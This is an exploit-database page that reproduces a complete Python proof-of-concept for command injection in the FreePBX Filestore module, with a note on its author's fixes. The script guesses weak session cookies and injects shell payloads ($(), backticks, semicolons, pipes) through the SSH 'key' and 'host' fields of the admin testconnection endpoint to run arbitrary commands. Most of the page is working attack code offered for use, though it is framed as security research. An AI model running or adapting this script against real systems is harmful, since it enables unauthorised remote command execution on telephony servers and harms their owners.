Lucene search
K

📄 FreePBX Filestore Command Injection

🗓️ 18 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 99 Views

FreePBX Filestore RCE via PHPSESSID using admin AJAX; fixes improve session validation and version checks.

Related
Code
=============================================================================================================================================
    | # Title     : FreePBX Filestore Session-Based RCE Exploit                                                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://www.freepbx.org/                                                                                                    |
    =============================================================================================================================================
    
    [+] Summary    : This script targets a potential Remote Command Execution (RCE) vector in the FreePBX Filestore module by leveraging a valid PHP session cookie (PHPSESSID) 
                     to access administrative AJAX endpoints. The exploit attempts to abuse the testconnection function within the filestore module to inject and execute system commands.
                     During analysis, several logical issues were identified and corrected without altering the overall structure of the original code. The fixes improve exploit 
    				 reliability and accuracy when validating sessions, detecting command execution, and evaluating module versions.
    
    [+] Key logical corrections include:
    
    Session validation improvement:The original session check relied on weak indicators such as display= which may appear on unauthenticated pages. The logic was refined to detect authenticated interface elements and avoid false positives.
    
    Proper version comparison:The original code compared version strings lexicographically, which can produce incorrect results (e.g., 13.0.10 vs 13.0.2). Version parsing was corrected using integer tuple comparison.
    
    Improved command execution detection:The original method assumed command output based on response length. This was replaced with response validation and error-pattern analysis.
    
    HTTP response validation:Added checks for HTTP status codes to prevent misinterpreting failed requests as successful exploitation.
    
    Return value handling:The alternative exploitation method (exploit_with_keygen) now returns response data to allow proper evaluation.
    
    Session enumeration reliability:The fallback session testing logic was corrected to ensure cookie updates are properly validated during enumeration attempts.
    
    Overall, the corrected script maintains the original exploit workflow while providing more accurate detection, stable execution behavior, and more reliable vulnerability verification during security research or penetration testing.
    
    			  
    [+] POC   : 
    
    #!/usr/bin/env python3
    
    import requests
    import re
    import sys
    import argparse
    import base64
    import time
    from urllib.parse import urljoin
    
    requests.packages.urllib3.disable_warnings()
    
    class FreePBXSessionRCE:
    
        def __init__(self, target, cookie=None, proxy=None):
            self.target = target.rstrip('/')
            self.session = requests.Session()
            self.session.verify = False
    
            if proxy:
                self.session.proxies = {'http': proxy, 'https': proxy}
    
            if cookie:
                self.session.cookies.set('PHPSESSID', cookie)
                print(f"[+] Using provided session cookie: {cookie}")
    
        def check_session_validity(self):
    
            test_url = urljoin(self.target, '/admin/config.php')
    
            try:
                r = self.session.get(test_url, timeout=10)
    
                if r.status_code != 200:
                    print("[-] Server returned unexpected status")
                    return False
    
                if "logout" in r.text.lower() and "freepbx" in r.text.lower():
                    print("[+] Session cookie appears valid")
                    return True
    
                if "login" in r.text.lower():
                    print("[-] Redirected to login page")
                    return False
    
                print("[-] Session cookie invalid or expired")
                return False
    
            except Exception as e:
                print(f"[-] Error checking session: {e}")
                return False
    
    
        def enumerate_modules(self):
    
            modules_url = urljoin(self.target, '/admin/ajax.php')
    
            common_modules = ['filestore','backup','recordings','dashboard']
    
            for module in common_modules:
    
                try:
                    r = self.session.get(modules_url, params={'module': module}, timeout=5)
    
                    if r.status_code == 200 and len(r.text) > 0:
                        print(f"[+] Module accessible: {module}")
    
                except:
                    pass
    
    
        def exploit_testconnection(self, command):
    
            exploit_url = urljoin(self.target, '/admin/ajax.php')
    
            payloads = [
                f"$({command})",
                f"`{command}`",
                f"; {command} #",
                f"| {command}",
                f"&& {command}"
            ]
    
            params = {
                'module': 'filestore',
                'command': 'testconnection',
                'driver': 'SSH'
            }
    
            for i,payload in enumerate(payloads):
    
                print(f"\n[*] Trying payload {i+1}: {payload}")
    
                data = {
                    'host':'127.0.0.1',
                    'port':'2222',
                    'user':'test',
                    'key':payload,
                    'path':'/tmp/test'
                }
    
                try:
    
                    r = self.session.post(exploit_url,params=params,data=data,timeout=10)
    
                    if r.status_code != 200:
                        print(f"[-] HTTP Error {r.status_code}")
                        continue
    
                    text=r.text.strip()
    
                    if text:
                        print(f"[+] Response snippet:\n{text[:300]}")
                        return text
    
                    if "failed" in text.lower() or "refused" in text.lower():
                        print("[*] Expected error received, injection might have executed")
    
                except Exception as e:
                    print(f"[-] Error during exploitation: {e}")
    
            return None
    
    
        def exploit_with_keygen(self, command):
    
            exploit_url = urljoin(self.target,'/admin/ajax.php')
    
            params = {
                'module':'filestore',
                'command':'testconnection',
                'driver':'SSH'
            }
    
            data = {
                'host':f'127.0.0.1; {command}; echo',
                'port':'2222',
                'user':'test',
                'key':'test_key',
                'path':'/tmp/test'
            }
    
            try:
    
                r=self.session.post(exploit_url,params=params,data=data,timeout=10)
    
                if r.status_code==200:
                    print("[+] Keygen exploit sent")
                    print(r.text[:200])
                    return r.text
    
            except Exception as e:
                print(f"[-] Error: {e}")
    
            return None
    
    
        def get_filestore_version(self):
    
            version_url=urljoin(self.target,'/admin/config.php')
    
            params={'display':'filestore'}
    
            try:
    
                r=self.session.get(version_url,params=params,timeout=10)
    
                match=re.search(r'load_version=(\d+\.\d+\.\d+\.\d+)',r.text)
    
                if match:
    
                    version=match.group(1)
    
                    print(f"[+] Filestore version: {version}")
    
                    if self.is_version_vulnerable(version):
                        print("[!] This version appears vulnerable!")
    
                    return version
    
                print("[-] Could not determine filestore version")
                return None
    
            except Exception as e:
                print(f"[-] Error getting version: {e}")
                return None
    
    
        def is_version_vulnerable(self,version):
    
            vulnerable_ranges=[
                ('13.0.0','13.0.190'),
                ('14.0.0','14.0.150'),
                ('15.0.0','15.0.100')
            ]
    
            def parse(v):
                return tuple(map(int,v.split(".")))
    
            v=parse(version)
    
            for start,end in vulnerable_ranges:
    
                if parse(start)<=v<=parse(end):
                    return True
    
            return False
    
    
    def main():
    
        parser=argparse.ArgumentParser(description='FreePBX Filestore RCE - Session-Only Exploit')
    
        parser.add_argument('-t','--target',required=True)
        parser.add_argument('-c','--cookie')
        parser.add_argument('--cmd',default='id')
        parser.add_argument('--proxy')
        parser.add_argument('--check-only',action='store_true')
    
        args=parser.parse_args()
    
        exploit=FreePBXSessionRCE(args.target,args.cookie,args.proxy)
    
        if not exploit.check_session_validity():
    
            if not args.cookie:
    
                print("[!] No cookie provided")
    
                default_sessions=['admin','1234','abcd1234','freepbx']
    
                for session in default_sessions:
    
                    print(f"[*] Trying session: {session}")
    
                    exploit.session.cookies.set('PHPSESSID',session)
    
                    if exploit.check_session_validity():
                        args.cookie=session
                        break
    
            else:
                sys.exit(1)
    
        if args.check_only:
            return
    
        exploit.get_filestore_version()
    
        exploit.enumerate_modules()
    
        print(f"\n[*] Executing command: {args.cmd}")
    
        result=exploit.exploit_testconnection(args.cmd)
    
        if not result:
    
            print("\n[*] Trying alternative method...")
    
            exploit.exploit_with_keygen(args.cmd)
    
    
    if __name__=="__main__":
        main()
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Mar 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.17.2
CVSS 48.6
EPSS0.75413
SSVC
99